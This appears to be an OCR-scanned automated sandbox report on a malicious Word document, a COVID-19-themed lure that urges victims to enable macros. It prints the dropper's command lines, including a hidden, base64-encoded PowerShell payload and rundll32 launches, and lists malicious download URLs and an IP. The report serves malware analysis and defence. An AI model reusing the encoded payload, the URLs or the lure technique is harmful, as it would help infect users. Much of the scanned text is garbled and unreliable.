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Analysis Report AG60273928I_COVID-19_SARS-CoV-2.d...

Overview
General Information Detection Classification
Sample AG60273928|_COVID-

Name: 19 SARS-CoV-2.doc Antivirus detection for URL or domain

Analysis ID: 338719 MALICIOUS Multi AV Scanner. detection for subm...

MDS: 6d718814f5cflcc.. Office document tries to convince vi...

SHA1L:

f1746098ad2bb75. Snort IDS alert for network traffic (e....
SHAZ56: 6bblfa2cbald526.

System process connects to networ...

Signatures

Tags:

Most interesting Screenshot: Cireiies [prusessss via Wil

Document contains an embedded VB...

Document contains an embedded VB...

Encrypted powershell cmdline option...

Score: 100 Hides that the sample has been dow...

Range: 0-100 Machine Learning detection for dropp...

Whitelisted:  false

Obfuscated command line found

B el - Confidence:  100%

Startup

= System is w7x64

. WINWORD.EXE (PID: 1604 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 2340 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & PAOw”er"she L L -w hidden -ENCOD
JAAWAGUAMgBOAGSAPQBbAHQAeQBQAGUAXQAOCACIAewAYyAHOAeWAXAHOAeWAWAHOAewAzZAHOAeWAOAHOAIGAIAGY AJWBIACCALAANAGOALGANACWAIWBTAHK
AcwWBOAEUAJIWASACCAbWAUAEQAaQANACWAIWBYAGUAQWBUAG8ACcgBS5ACCAKQA7ACAACWBIAHQALQBpAHQARQBNACAAIAB2AEEACYBPAGEAYYBMAEUAOGB3AGQ
AOAAGACAAKAAGAFSAVABSAFAAZQBAACgAIgB7ADEAFQB7ADIAfQB7ADAAQB7ADMAFQB7ADQAFQAIACAALQBMACCAVYBIAGMARQBQAEBAaQBOAHQATQBhAGA
AYQANACWAIWBTAHKAUWBOACCALAANAGUATQAUAE4ARQBOACAACWBIAFIAJWASACCAZWANACWAJIWBFAHIAJWAPACKAIAA7TACQARQBYAHIAbWBYAEEAYWBOAGK
AbwBUAFAACgBIAGYAZQBYAGUAbgBJAGUAIAA9ACAAKAAOACCAUWBPAGWAZQANACSAIWBUACCAKQATACgAIWBOAGWAEQBDAGBAIWArACCAbgANACKAKWANAHQ
AIWArACgAIWBPAGAAIWArACCAdQBIACCAKQAPADSAJABOADMAMQA3ADYAYWBYADOAJABRADIANQBVACAAKWAGAFSAYWBOAGEAcgBAACJANGAOACKAIAATACA
AJABWADKANgBSADSAJABDAFSAMQBRADOAKAANAEOAOQANACSAIWALAEKAIWAPADSAIAAGACHAIAAGAFY AY QBYAEKAQQBCAEWAZQAJACAAMABFADIAJABLACA
AKQAUAHYAYQBMAFUARQAG6ADOAIgBJAHIARQBBAFQAZQBEAGAASQBSAGUAQWBIAFQATWBSAFKAIGAOACQASABPAEOARQAJACSAIAAOACYJAKAANAEIASgBSAFC
AZAANACSAIWBKACCAKQArACgAIWB1AHKAMYANACSAIWBIAEIAIJWAPACSAIWBKACCAKWAOACCABABUAGOAYWANACSAIWAXACCAKQArACYAIWBrACCAKWANAHUABWANACKAK
WANAEIASgANACSAIWBSACCAKQAUACIAUgBFAGAACABYAEWAY QBJAEUAIGA0OACYAIWBCACCAKWANAEOADAANACKALAANAFWAIWAPACKAKQA7ACQATYA3ADMAU

AA9IACYAIWBLACCAKWAOACCAMAANACSAIWAZAFYAIWAPACKAOWAJACQAVWBEADgAOJABACIACWBGAEUAYABJAFUAUGBpAHQAWQBQAHIATWBUAGBAYWBJAGS8AD
AAIACAAPQAJACJAIWBUAGWAIWArACgAIWBZACCAKWANADEAMgANACKAKQA7ACQAVWBFADUASWAIACYAKAANAFQAIWArACCAOAAL4ACCAKQATACCASYJANACKAO
WAKAEKAeQBXAHgAdgASAFBAIAAIACAAKAAOACCASGA3ACCAKWANADAAIWAPACSAIWBIACCAKQA7ACQATAAXADIASWAIACIAIWBZADAAIWAIACCAMWBDACCAK
QA7ACQATWBJAGKAaABUAHCAZWAIACQASABPAEOARQAIACYJAKAAOACCAUQBMAESAVWBKAGQAIWArACCAdQANACSAIWB5SADIAIWAPACSAIWBIACCAKWAOACCAU
QBMACCAKWANAEBAIWAPACSAIWBUAGOAIWArACgAIWBJACCAKWANADEAawB1ACCAKQArACgAIWBVAFEATAANACSAIWBPACCAKQAPACAAIGBSAGAAZQBQAGWAY
QBYAGMAZQAIACJAKABBAGMAaABhAHIAXQA4ADEAKWBbAGMAaABhAHIAXQA3ADYAKWBbAGMAaABhAHIAXQA3ADKAKQASACCAXAANACKAKQAIrACQASQBSAHEAe
AB2ADKAXWArACgAKAANACA4AIWATACCAZABSACCAKQATrACCADAANACKAOWAKAEEAMAASAEWAPQAOACCAWAANACSAKAANADYAOAANACSAIWBLACCAKQAPADSA]
ABYADQAXWAXAHEAOABXADOAKAANAHCAXQANACSAIWBAAGOAIWAIACGAIWBDAHYAIJWArACCACWABACBALWANACSAIWBZAGYAdQBSACCAKQArACCAbWANACSAK
AANAHYAJWArACCcAYgBhAGEAIWArACcAegBhAHIALGBJAGBAbQANACKAKWANACBAIJWArACCAYWANACSAKAANACBAIWATACCAY gBJAEWANgAVACCAKQATACGAJWBAACCAKWA
NAHCAXQB4AGOAJWAPACSAKAANAFSAdgANACsAIWBzACCAKQArACCcAOgAVACCAKWAOACCALWBIACCAKWANAHKAYgANACKAKWAOACCAAQBzACCAKWANAGKAIWA
PACSAKAANAGAAZQBzAHMAJIWAIACCAZQANACSAIWB2AGUAbgANACKAKWAOACCAdAANACSAIWAUAGMAbWBIACCAKQArACgAIWAVAHQAAQANACSAIWBIAGKAIWA
pPACSAKAANACOAIWArACcAaQBUACCAKQArACgAIJWBzAHQAY QANACSAIWBSACCAKWANAGWAIWArACCALWBIACBAQAANACKAKWAOACCAdwBAAHgAbQANACSAIWB
bAHYAJWArACcAOgANACKAKWAOACCALWAVAHUAIWArACcAaABrACCAKWANAC4AYWBUACCAKQATACgAJWBJAHIAIWArACCAY QBUAGUACWANACKAKWANACAAYWANACSAKAANA
G8AJWArACcAbQAVACCAKQArACgAIJWBFACCAKWANAHIACgANACKAKWANAGBAIWArACgAIJWBYACCAKWANAFAAY QBNAGUACWANACKAKWANACBAMWANACSAJWAVA
CcAKWANAEAAIWArACgAIWB3AF0AeABtACCAKWANAFSAdgBzACCAKQArACCAOgAVACCAKWANACBAIWArACCAYWBhACCAKWANAHAAIWAIACgAIJWBOAHUACgANACSAIWBIACC
AKWANAHQAaABIAGEAYWANACKAKWANAHQAaQANACSAIWBVACCAKWANAGAAIWAIACCALGANACSAKAANAGMAbWBLACAAIWATACCAY QBLACCAKQArACgAIJWAVACC
AKWANAHCACAAtACCAKWANAGKAbgBJACCAKQArACCAbABLACCAKWANAGQAIWArACgAIWBIAHMAJIWAIACCALWBZACCAKQArACcAagBwACCAKWAOACCALWBAACCAKWANAHCAX
QANACSAIWB4AGOAWWB2AHMAOGANACSAIWAVACBAdABOACCAKQAIACCAZQBUACCAKWAOACCAZQANACSAIWBOAHCAIWATACCAbWBYAGSAIJWATACCAZQBYACAAY
WANACKAKWAOACCAY QANACSAIWAVAGMAJIWAPACsAIWBVAGOAIJWATACCAbQBIACCAKWANAGAAdAANACSAIWAVACCAKWANADgAIWATACCATgAOACCAKWANACBAIWArACCAQAA
NACsAJWB3ACCAKWAOACCAXQB4AGOAIWArACCAWWB2ACCAKQArACgAIwBzADOAIWArACCALWANACKAKWAOACCALWANACSAIWBOAHIAIWAPACSAKAANAGEAIJWArACCAeQBVA
G4AbABpAGAAIWAPACSAIWBIACCAKWANAGCAIWArACcAaAAUACCAKWAOACCAYWBVACCAKWANAGOALWANACSAIWBJAGCAaQAIAGIAaQANACKAKWAOACCAbgANACSAIWAVAEY
AQgBQACCAKWANAFIALWBAACCAKQArACcAdwBdACCAKWANAHGABQANACSAKAANAFSAdgANACSAIWABACBALWBIAGOAbWANACSAIWAUACCAKQArACgAIWBIACCAKWANAGEAC
gANACKAKWANAHQAaQANACSAKAANAGAACABVAGWAbBABVACCAKWANAGMAJWArACcAawAUAGMAbWAUACCAKQArACgAIWB1AGSAIJWArACCALWBhACBAJWArACCAU
WBRAFMAJWAPACSAIWBHACCAKWANAGCAIWAIACCALWANACKALGAIAHIAZQBJAFAAYABMAGEAYWBFACIAKAAOACGAIWB3ACCAKWANAFOAeABIAFSAJWAPACSAJ
WB2ACCcAKQASACgAWWBhAHIACgBhAHKAXQAOACCACWBKACCALAANAHMAAWANACKALAAOACYAIWBOACCAKWANAHQAJAANACKAKWANAHAAIWAPACWAIWAZAGQAJ
WApPAFSAMQBAACKALgAIAFMACABMAGAAaQBUACIAKAAKAEUANWASAESAIAATACAAJABOADMAMQA3ADYAYWBYACAAKWAJACQAVQAXADEASAAPADSAJABZADGAX
WBZADOAKAAOACCASWASACCAKWANADAAIWAPACSAIWBHACCAKQA7AGYAbWBYAGUAY QBJAGUAIAACACQATAB5AHQAAWBBADIACWAJAGKAbgAGACQAWAAOAFBAM
QBXADgACQAPAHsSAdABYAHKkAeWAOAC4AKAANAEAAZQANACSAIWB3ACOATWANACSAIWBIAGOAZQBJAHQAIWAPACAAUWBZAHMAVABFAGOALGBUAEUAJAAUAFCAZ
QBCAEMAbABpPAEUATgBOACKALGAIAGQAbBWBXAG4AY ABMAGAAbBWBBAGQAZYBIJAGAATABFACIAKAAKAEWAe QBOAHCAegAYAHMALAAGACQATWBAAGKAaABUAHCAZ
WApADsAJABaADgAMWBRADOAKAANAFGAMAANACSAIWAZAECAIWAPADSASQBMACAAKAAOACY AKAANAECAZQANACSAIWBOACOASQBOAGUABQANACKAIAAKAEBAa
gBpAGgAbgB3AGCAKQAUACIATABgAGUATYBHAHQAAAAIACAALQBNAGUAIAAZADIAOAAXADCAKQAGAHSALJAOACCACGANACSAIWBIAGAAZAANACSAIWBSAGWAM
WAYACCAKQAgACQATWBgAGKAaABUAHCAZWASACgAKAANAFMAJWATrACcAaABVACCAKQATrACgAIWB3AEQAaQANACSAIWBhACCAKWANAGWAbWANACKAKWANAGCAQ
QANACKALgAIAHQAYABVAHMAVABSAEKAYABOAGCAIgAOACKAOWAKAFKANGASAEWAPQAOACCASWA4ACCAKWANADQAVIANACKAOWBIAHIAZQBhAGSAOWAKAFYAX
WAYAFYAPQA0ACCAWAAWACCAKWANADCAUWANACKATQBIAGMAY QBOAGMAaAB7AHOAFQAKAFEANQAXAEBAPQA0ACJAIWBIACCAKWANAFBAMWANACKAKWANAECAIWAPAA==
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MD5: 5746BD7E255DD6A8AFAQ6F7C42C1BA41)

e [ msg.exe (PID: 2608 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e 4 powershell.exe (PID: 2692 cmdline: POwersheLL -w hidden -ENCOD JAAWAGUAMgBOAGSAPQBbAHQAeQBQAGUAXQAO0ACIAewAyAHOAeWAXAHOAeWAWAHOA
ewAzAHOAeWAOAHOAIgAtAGYAJWBIACCALAANAGOALYANACWAIWBTAHKACWBOAEUAIWASACCADBWAUAEQAAQANACWAIWBYAGUAQWBUAGBACYBSACCAKQA7ACAA
cWBIAHQALQBpAHQARQBNACAAIAB2AEEACYBPAGEAYgBMAEUAOgB3AGQAOAAGJACAAKAAGAFSAVABSAFAAZQBAACYAIgB7ADEATQB7ADIAfQB7ADAAIQB7ADMA
fQB7ADQAFQAIACAALQBMACCAVgBIAGMARQBQAE8AaQBOAHQATQBhAGAAY QANACWAIWBTAHKAUWBOACCALAANAGUATQAUAE4ARQBOACAACWBIAFIAJWASACCA
ZWANACWAJIWBFAHIAIWAPACKAIAA7ACQARQBYAHIAbWBYAEEAYWBOAGKAbWBUAFAACGBIAGYAZQBYAGUAbgBJAGUAIAASACAAKAAOACCAUWBPAGWAZQANACSA
JWBUACCAKQArACgAIJWBOAGWAeQBDAGBAIWAIACCAbgANACKAKWANAHQAIWArACJAIWBPAGAAIWAIACCAdQBIACCAKQAPADSAJABOADMAMQA3ADYAYWBYADOA
JABRADIANQBVACAAKWAgAFSAYWBOAGEAcgBAACgANgAOACKAIAATACAAJABWADKANGBSADSAJABDAFSBAMQBRADOAKAANAEOAOQANACSAIWALIAEKAIWAPADSA
IAAgACgAIAAgAFYAY QBYAEKAQQBCAEWAZQAJACAAMABFADIAJABLACAAKQAUAHYAY QBMAFUARQABADOAIGBJAHIARQBBAFQAZQBEAGAASQBSAGUAQWBYAFQA
TwBSAFKAIgAOACQASABPAEOARQAJACSAIAA0ACYAKAANAEIASGBSAFCAZAANACSAIWBKACCAKQAIACGAIWB1AHKAMOANACSAIWBIAEIAJWAPACSAIWBKACCA
KWAOACCAbABUAGOAYWANACSAIWAXACCAKQArACgAIWBrACCAKWANAHUAbWANACKAKWANAEIASgANACSAIWBSACCAKQAUACIAUGBFAGAACABJAEWAY QBJAEUA
1gA0ACgAIWBCACCAKWANAEOADAANACKALAANAFWAJIWAPACKAKQA7ACQATGA3ADMAUAASACYAIWBLACCAKWAOACCAMAANACSAIWAZAFY AJIWAPACKAOWAGACQA
VWBEADgAOgAGACIACWBJAEUAYABJAFUAUgBpAHQAWQBQAHIATWBUAGBAYWBgAGBADAAIACAAPQAJACYAIWBUAGWAIWArACgAIWBZACCAKWANADEAMYANACKA
KQA7ACQAVWBfADUASWAIACYAKAANAFQAIWArACCAOAALACCAKQAIACCASgANACKAOWAKAEKAeQBXAHGAdgASAFBAIAAIACAAKAAOACCASIA3ACCAKWANADAA
JWAPACSAIWBIACCAKQA7TACQATAAXADIASWASACYAIWBZADAAIWAIACCAMWBDACCAKQA7ACQATWBIAGKAaABUAHCAZWASACQASABPAEOARQAIACJAKAAOACCA
UQBMAESAVWBKAGQAJIWArACCAdQANACSAIWB5ADIAIWAPACSAIWBIACCAKWAOACCAUQBMACCAKWANAEBAIWAPACSAIWBUAGOAIWArACGAIWBJACCAKWANADEA
awB1ACCAKQArACgAIJWBVAFEATAANACSAIWBPACCAKQAPACAAIgBSAGAAZQBQAGWAY QBJAGMAZQAIACJAKABbAGMAaABhAHIAXQA4ADEAKWBbAGMAaABhAHIA
XQA3ADYAKWBbAGMAaABhAHIAXQA3ADKAKQASACCAXAANACKAKQATACQASQB5AHEAeAB2ADKAXWArACJAKAANACAAIWAIACCAZABSACCAKQATrACCADAANACKA
OWAKAEEAMAASAEWAPQAOACCAWAANACSAKAANADYAOAANACSAIWBLACCAKQAPADSAJABYAD QAXWAXAHEAOABXADOAKAANAHCAXQANACSAIWBAAGOAIWATACYA
JWBbAHYAJWArACCACWABACBALWANACSAIWBZAGGAdQBSACCAKQArACCAbWANACSAKAANAHYAIJWAIrACCAY gBhAGEAIJWArACcAegBhAHIALGBJAGBADQANACKA
KwWANAC8AJWArACcAYWANACSAKAANACBAIWATrACCAYgBJAEWANgAVACCAKQArACgAIWBAACCAKWANAHCAXQBAAGOAIWAPACSAKAANAFSAdgANACsAIJWBZzACCA

KQArACcAOgAVACCAKWAOACCALWBIACCAKWANAHKAYgANACKAKWAOACCAdQBzACCAKWANAGKAIWAPACSAKAANAGAAZQBZAHMAIWArACCAZQANACSAIWB2AGUA
bgAnACKAKWAOACCAJAANACSAIWAUAGMAbWBIACCAKQArACgAIWAVAHQAaQANACSAIWBrAGKAIWAPACSAKAANACOAIWArACcAaQBUACCAKQArACgAIJwWBZzAHQA
YQANACsAIwBSACcAKWANAGWAJIWATACCALWBIACBAQAANACKAKWAOACCAdwBAAHgAbQANACSAIWBbAHYAJWArACCAOgANACKAKWAOACCALWAVAHUAIWArACCA
aABrACcAKWANAC4AYWBUACCAKQArACgAIWBJAHIAIWAIACCAY QBUAGUACWANACKAKWANACAAYWANACSAKAANAGBAIWArACCABQAVACCAKQArACgAIJWBFACCA
KwANAHIAcgANACKAKWANAGBAJWArACgAIWBYACCAKWANAFAAY QBNAGUACWANACKAKWANACBAMWANACSAIWAVACCAKWANAEAAIWATACgAIWB3AFOAeABtACCA
KwANnAFsAdgBzACcAKQArACcAOgAVACCAKWANACBAIWArACCAYWBhACCAKWANAHAAIWArACgAIWBOAHUACgANACSAIWBIACCAKWANAHQAaABIAGEAYWANACKA
KwANAHQAaQANACSAIJWBVACCAKWANAGAAIWArACCALGANACSAKAANAGMAbwWBIACAAIWArACCAY QB1ACCAKQArACgAIWAVACCAKWANAHCACAAIACCAKWANAGKA
bgBjACCAKQArACcAbAB1ACCAKWANAGQAJWAIrACgAIWBIAHMAJIWAIACCALWBZACCAKQArACcAagBwACCAKWAOACCALWBAACCAKWANAHCAXQANACSAJWBAAGOA
WwB2AHMAOQGANACsAJWAVACBAJABOACCAKQArACCAZQBUACCAKWAOACCAZQANACSAIWBOAHCAIWATACCAbwBYAGSAIWArACCAZQBYACAAYWANACKAKWAOACCA
YQANACSAIWAVAGMAIWAPACSAIWBVAGOAIWArACCcAbQBIACCAKWANAGAAdAANACSAIWAVACCAKWANADgAIWArACCATgAOACCAKWANACBAIWATACCAQAANACSA
JwB3ACCAKWAOACCAXQB4AGOAIWArACCAWWB2ACCAKQArACgAIWBzADOAIWArACCALWANACKAKWAOACCALWANACSAIWBOAHIAIJWAPACSAKAANAGEAJWATrACCA
eQBVAG4AbABpAGAAIWAPACSAIWBIACCAKWANAGCAIJWAIACCAaAAUACCAKWAOACCAYWBVACCAKWANAGOALWANACSAIJWBJAGCAaQAtAGIAaQANACKAKWAOACCA
bgAnACsAJWAVAEgAQYBQACCAKWANAFIALWBAACCAKQArACcAdwBdACCAKWANAHGADQANACSAKAANAFSAdgANACSAIWABACBALWBIAGOAbWANACSAIJWAUACCA
KQArACgAJwBtACcAKWANAGEACgANACKAKWANAHQAaQANACSAKAANAGAACABVAGWADABVACCAKWANAGMAIWArACcAawAUAGMAbWAUACCAKQATACgAIJWBIAGSA
JWArACCcALWBhACBAIWArACCAUWBRAFMAJWAPACSAIWBHACCAKWANAGCAIWATACCALWANACKALGAIAHIAZQBYAFAAY ABMAGEAYWBFACIAKAAOACGAIWB3ACCA
KWANAFOAeABtAFSAJWAPACSAIWB2ACCAKQASACYJAWWBhAHIAcgBhAHKAXQAOACCACWBKACCALAANAHMAIWANACKALAAOACGAIWBOACCAKWANAHQAJAANACKA
KWANAHAAIWAPACWAIWAZAGQAIWAPAFSAMQBAACKALGAIAFMACABMAGAAaQBUACIAKAAKAEUANWABAESAIAAFACAAJABOADMAMQA3ADYAYWBYACAAKWAJACQA
VQAXADEASAAPADSAJABZADgAXwBZADOAKAAOACCASWASACCAKWANADAAIWAPACSAIWBHACCAKQA7TAGYAbwBYAGUAY QBJAGYAIAAOACQATABSAHQAAWBEADIA
cWAgAGKAbgAgACQAWAAOAFBAMQBXADGACQAPAHSAJABYAHKAewAOACAAKAANAEAAZQANACSAIWB3ACOATWANACSAIWBIAGOAZQBJAHQAIWAPACAAUWBZAHMA
VABFAGOALgBUAEUAJAAUAFCAZQBCAEMADABPAEUATgBOACKALgAIAGQADWBXAGAAYABMAGAAbWBBAGQAZgBIAGAATABFACIAKAAKAEWAeQBOAHCAegAyAHMA
LAAgACQATWBQAGKAaABUAHCAZWAPADSAJABaADgAMWBRADOAKAANAFGAMAANACSAIWAZAE CAJWAPADSASQBMACAAKAAOACYAKAANAECAZQANACSAIWBOACOA
SQBOAGUADBQANACKAIAAKAE8AagBpAGYAbgB3AGCAKQAUACIATABJAGUATgBHAHQARAAIACAALQBNAGUAIAAZADIAOAAXADCAKQAJAHSALGAOACCACYANACSA
JWB1AG4AZAANACSAIWBSAGWAMWAYACCAKQAGACQATWBIAGKAaABUAHCAZWASACYJAKAANAFMAIWAIACCAaABVACCAKQArACgAIWB3AEQAAQANACSAIWBhACCA
KWANAGWAbBWANACKAKWANAGCAQQANACKALGAIAHQAYABVAHMAVABSAEKAYABOAGCAIgAOACKAOWAKAFKANGASAEWAPQAOACCASWAAACCAKWANADQAVJANACKA
OWBIAHIAZQBhAGSAOWAKAFYAXWAYAFYAPQA0ACCAWAAWACCAKWANADCAUWANACKATQBIAGMAY QBOAGMAaAB7AHOAFQAKAFEANQAXAEBAPQAOACJAIWBIACCA
KWANAF8AMWANACKAKWANAECAIJWApPAA== MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 960 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\use\Wdduy2m\Tmc1kuo\J70H.dIl ShowDialogA MD5:
DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2916 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\usen\Wdduy2m\Tmc1kuo\J70H.dIl ShowDialogA MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2956 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Qafsungwghhv\abffsuupeze.glo’,ShowDialogA MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2908 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Hgmvwbjvtszlkw\wwuzivduogkxt.pxe',ShowDialogA MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2484 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Aanys\cokk.vuqg',ShowDialogA MD5:
51138BEEA3E2C21EC44D0932C71762A8)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000005.00000002.2107242892.00000000002 PowerShell_Case_Anomal Detects Florian Roth e 0x1f10:$s1: POwershelL
16000.00000004.00000001.sdmp y obfuscated

PowerShell

hacktools
00000005.00000002.2107409443.0000000001B PowerShell_Case_Anomal Detects Florian Roth e 0x890:$s1: POwershelL
A6000.00000004.00000001.sdmp y obfuscated

PowerShell

hacktools

Copyright null 2021
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Sigma Overview

No Sigma rule has matched

Signature Overview

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

® Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection

g

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:
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Hooking and other Techniques for Hiding and Protection:

= ‘]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Com
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and (
Valid Windows Path Process Masquerading oS Security Software Remote Archive Exfiltration Over Other  Encry
Accounts Management Interception  Injection Credential ~ Discovery Services Collected  Network Medium Chan
Instrumentation Dumping Data
Default Command and Boot or Boot or Logon Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Data from  Exfiltration Over Ingre
Accounts Scripting Logon Initialization Evasion Memory Evasion Desktop Removable Bluetooth Trans
Interpreter Initialization  Scripts Protocol Media
Scripts
Domain Scripting Logon Script Logon Script Disable or Modify Security Process Discovery SMB/Windows Data from Automated Exfiltration Non-
Accounts (Windows)  (Windows) Tools Account Admin Shares Network Appli
Manager Shared Layel
Drive Proto
Local Exploitation for Client Logon Script Logon Script Process NTDS Remote System Distributed Input Scheduled Transfer Appli
Accounts Execution (Mac) (Mac) Injection Discovery Component  Capture Layel
Object Model Proto
Cloud PowerShell Network Network Logon  Deobfuscate/Decode LSA File and Directory SSH Keylogging Data Transfer Size Fallbi
Accounts Logon Script Script Files or Information Secrets Discovery Limits Chan
Replication  Launchd Rc.common Rc.common Scripting Cached System Information VNC GUI Input  Exfiltration Over C2 Multit
Through Domain Discovery Capture Channel Comi
Removable Credentials
Media
External Scheduled Task Startup Startup Items Hidden Files and DCSync Network Sniffing Windows Web Portal Exfiltration Over Comi
Remote Items Directories Remote Capture Alternative Protocol Used
Services Management
Drive-by Command and Scheduled  Scheduled Obfuscated Filesor  Proc Network Service Shared Credential Exfiltration Over Appli
Compromise Scripting Interpreter  Task/Job Task/Job Information Filesystem Scanning Webroot API Symmetric Encrypted Layel

Hooking Non-C2 Protocol

Exploit PowerShell At (Linux) At (Linux) RundlI32 letc/passwd System Network Software Data Exfiltration Over Web
Public- and Connections Deployment  Staged Asymmetric Encrypted

Facing letc/shadow Discovery Tools Non-C2 Protocol

Application

Supply AppleScript At At (Windows) File Deletion Network Process Discovery Taint Shared  Local Data Exfiltration Over File T
Chain (Windows) Sniffing Content Staging Unencrypted/Obfuscated Proto
Compromise Non-C2 Protocol

Behavior Graph

Copyright null 2021 Page 8 of 45



Hide Legend
Legend:
Process

Signature

Created File

g3 wworoee Sy

DNS/IP Info

EEELE

----iﬁkﬁ

O eweece By (5 wewe Ay

Is Dropped

Is Windows Process

@+ EBO0C]

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java

&
& e By
D VW Net C#or VB.NET
- G C, C++ or other language
o= O &) s malicious
G W:
@ Internet

e

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Wi 9 - 0= AGE0273928]_COVID-19_SARS-CoV-2 [Compatibility Mode] - Microsoft Word

Home Insert Page Layout References Mailings Review View
== K cut = = : S % @4 Find ~
N A A | Aa ) = 4 aaBbceDe AaBbceDe AaBb( AaBbC: AaBb( AaBhcel
3 Copy 2, Replace
Past > i 1 Nol m & 2 e ubtitle Ch
e romatpainter | B 4 U 7 abe %, X A Normal T )1 Heading Title subtitle Chance [ e

Clipboard ! Font Paragraph Editing

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

‘You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Page:1 of1 | Words: 12 | I~ ‘

7:16 PM
112201 |

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

Source Detection Scanner Label Link Download
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https://www.virustotal.com/gui/file/6bb1fa2cba1d52674b980804939a39bb7dc3a68a364402d393e6a3ae520cdce9/detection/f-6bb1fa2cba1d52674b980804939a39bb7dc3a68a364402d393e6a3ae520cdce9-1610472227

Domains

No Antivirus matches

URLs
Source Detection Scanner Label Link
hitp://https://thenetworker.ca/comment/8N4/ 0% Avira URL Cloud safe
hitp://https://shulovbaazar.com 0% Avira URL Cloud safe
hitp:/fuhk.cncranes.com 0% Avira URL Cloud safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
T NesMeehcmegtaHeR G ARG maae
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://mmo.martinpollock.co.uk/a/SQSGg/ 0% Avira URL Cloud safe
hitp://https://mybusinessevent.comp 0% Avira URL Cloud safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crlOt 0% URL Reputation safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crlOt 0% URL Reputation safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crlOt 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://https://shulovbaazar.comp 0% Avira URL Cloud safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://uhk.cncranes.com/ErrorPages/3/ 0% Avira URL Cloud safe
hitp://https://mybusinessevent.com 0% Avira URL Cloud safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://69.49.88.46/kdd8h70lwp/Ifu3p05/u2kanr3/ 0% Avira URL Cloud safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp://https://mybusinessevent.com/tiki-install/e/ 0% Avira URL Cloud safe

R e P LG [ S |
e ) e e ) I

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

uhk.asiash.com 152.32.168.168 true false unknown

hkeneranescom wmkiown uknown tee  unkiown
Contacted URLs

Name Malicious Antivirus Detection Reputation

R e e 2 |
R T e s [ T [

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation
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Name

hitp:/f/www.windows.com/pctv.

hitp://investor.msn.com

hitp:/f/www.msnbc.com/news/ticker.txt

hitp://ocsp.sectigo.com0

hitp:/fiwww.litespeedtech.com

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

hitp:/fiwww.hotmail.com/oe

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

hitp://https://mybusinessevent.comp

hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t

Copyright null 2021

Source Malicious

rundll32.exe, 0000000A.0000000 false
2.2346359103.0000000001E10000.
00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2119863752.0000000001AD0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2110650517.000
0000001E10000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
